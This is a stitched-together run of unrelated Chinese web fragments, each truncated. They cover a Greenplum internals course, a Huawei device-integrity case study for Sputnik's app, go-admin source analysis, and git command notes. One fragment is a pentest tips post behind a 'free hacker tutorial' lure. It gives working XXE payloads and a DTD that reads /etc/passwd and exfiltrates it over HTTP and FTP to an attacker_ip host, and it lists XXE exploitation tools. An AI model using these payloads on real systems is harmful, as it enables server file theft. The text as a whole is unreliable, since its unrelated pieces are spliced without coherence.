github

为了让大家对Greenplum的内核有更深入的了解，让大家在开发或者是使用Greenplum过程中更加得心应手，2020年，Greenplum中文社区开展了《深入浅出Greenplum内核》系列直播公开课，邀请Greenplum原厂内核讲师，从开发人员视角，理论配合实例，深入浅出地详尽剖析Greenplum主要核心模块，讲解Greenplum模块背后的设计思路和工作原理，让你对Greenplum达到更深层的理解。 错过直播的也不用担心，这篇合集带你回顾所有精华内容！文字配合视频，满足你学习的全部需求。 相应PPT可前往Greenplum中文网站（cn.greenplum.org）的下载页面获取 第一课 深入解读开源大数据分析平台Greenplum架构 讲师：杨瑜 Greenplum原厂研发总监 Greenplum被Gartner2019认为是全球十大经典和实时数据分析产品中唯一开源数据库。第一课将逐次梳理Greenplum的四大基本内容：基本概念，数据组织，架构设计和核心模块，理论结合实践，深入浅出的带领大家进入Greenplum的世界。 内容纲要 1、Greenplum 概念及数据的组织 2、Greenplum 体系架构 3、Greenplum 进程模型 4、Greenplum 各大模块 相关阅读： Greenplum架构最详解读（内含视频） 第二课

俄罗斯（Sputnik）是享有国际声誉的卫星通讯社，旗下新闻应用程序提供高质量的国际新闻，包括突发新闻、全球重大事件、深度报道、在线广告视频和独家采访。App集成了系统完整性检测功能后，应用市场内恶意评论识别率提升了14%。 业务挑战 Sputnik手机业务负责人Dmitry Priemov表示，“我们发现App运行的部分设备恶意攻击App，企图破解广告，”因此，他意识到，“我们需要知道哪些设备系统已被恶意篡改，因为那可能导致我们的App广告被破解。”此外，“对于商店中的差评，我们也需要快速评估是否是来自系统被篡改、利用的设备。” 解决方案 “我们将系统完整性检测作为评估设备风险性的重要一环，”Dmitry Priemov说。安全检测服务是华为推出的多维度安全检测开放服务，提供系统完整性检测等功能，帮助应用快速构建安全能力，保护用户隐私及App运行安全。其中，系统完整性检测是基于TEE可信执行环境和数字证书签名，帮助App检测其运行设备系统是否被恶意篡改。在App中加入系统完整性检测功能后，“我们可以清楚知道App运行设备是否已被root。” 如果发现设备存在安全风险，“我们可以选择限制部分恶意攻击的风险设备使用App的一些功能，从而保护我们的广告不被恶意破解。”另外，针对恶意差评问题，Sputnik后台团队就可以“跳过这类被检测出风险的设备的恶意差评，或回复他们如需正常使用

扫码领资料 获黑客教程 免费&进群 转乌云安全 这里 记录渗透测试中常见的小Tips。 关于XXE漏洞的一些总结 XXE Payload: <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://attacker_ip:port/xxe.dtd"> <foo>&e1;</foo> xxe.dtd: File Exfiltration over HTTP: <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker_ip:port/res?%p1;'>"> %p2; File Exfiltration over FTP: <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'ftp://attacker_ip:port/%p1;'>"> %p2; 利用工具: xxe-ftp-server.rb XXEinjector XXESERV – A mini webserver with FTP support for XXE payloads OXML_XXE – A tool for embedding XXE

紧接着上一篇，本文我们对go-admin下载后的源码进行分析。 首先对项目所使用的第三方库进行分析，了解作者使用的库是否是通用的官方库可以有助于我们更快地阅读程序。接着对项目的main()方法进行分析，因为程序使用cli的方式启动，对cli不同的命令进行分析。基于此俩点开始工作。 go-admin中使用的第三方库 cobra 强大的cli封装，支持命令嵌套 cast 简单安全的类型转换 casbin 轻量级开源访问控制框架，采用了元模型的设计思想，支持多种经典的访问控制方案，如基于角色的访问控制 RBAC、基于属性的访问控制 ABAC 等 gorm 一个神奇的，对开发人员友好的 Golang ORM 库 sentinel-golang 随着微服务的流行，服务和服务之间的稳定性变得越来越重要。Sentinel 是面向分布式服务架构的流量控制组件，主要以流量为切入点，从流量控制、熔断降级、系统自适应保护等多个维度来帮助您保障微服务的稳定性。 opentracing-go 分布式追踪库 cron 定时任务库，支持cron表达式 启动分析 main.go作为程序第一个入口文件，main()方法作为程序入口 使用corboa命令行的方式进行启动，有多个不同的命令，如下所示 查看系统版本 go-admin version 查看系统配置 go-admin config 服务启动 go-admin

git checkout grego@gregoo:mygo$ git checkout origin/ test Note: checking out ' origin/test ' . You are in ' detached HEAD ' state. You can look around, make experimental changes and commit them, and you can discard any commits you make in this state without impacting any branches by performing another checkout. If you want to create a new branch to retain commits you create, you may do so (now or later) by using - b with the checkout command again. Example: git checkout -b < new -branch-name> HEAD is now at be427c9... Create README.md grego@gregoo:mygo$ git checkout master Switched to branch '

本地代码提交到远程仓库： 设置git用户名、邮箱 git config --global user.name xxx git用户名 git config --global user.email xxx git邮箱 将项目提交到主分支（master）： git remote rm origin 删除现有远程连接 git init 初始化本地仓库 touch README.md 创建README.md文件 git add . 将修改的文件添加到暂存 git commit -m "first commit" 将暂存中的文件提交到本地当前分支 git remote add origin https://xxxxxxx.xx/xx/ 将本地仓库连接到远程仓库 git push -u origin master 将本地仓库文件push到远程master分支 将主分支代码pull到dev分支： git branch -a 查看远程全部分支 git checkout -b dev origin/dev 在本地创建dev分支并将远程dev分支更新到本地分支 git pull origin master --allow-unrelated-histories 将master分支强制更新到当前分支 (执行git pull origin master 抛出错误refusing to merge